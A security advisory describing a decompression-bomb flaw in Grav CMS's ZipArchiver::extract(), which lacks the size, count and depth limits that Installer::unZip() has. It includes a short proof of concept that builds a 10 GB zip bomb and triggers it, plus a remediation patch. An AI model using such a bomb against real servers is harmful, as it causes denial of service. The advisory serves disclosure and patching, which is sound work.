CVE-2026-61690: Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

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Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }

// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }

$zip->close(); return $this; } }

What's missing vs Installer::unZip():

| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.

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Proof of Concept

Step 1 - Create a zip bomb

bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB

Step 2 - Extract via ZipArchiver

php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

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Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

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Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;

for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;

// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }

// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;

$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }

if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }

if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }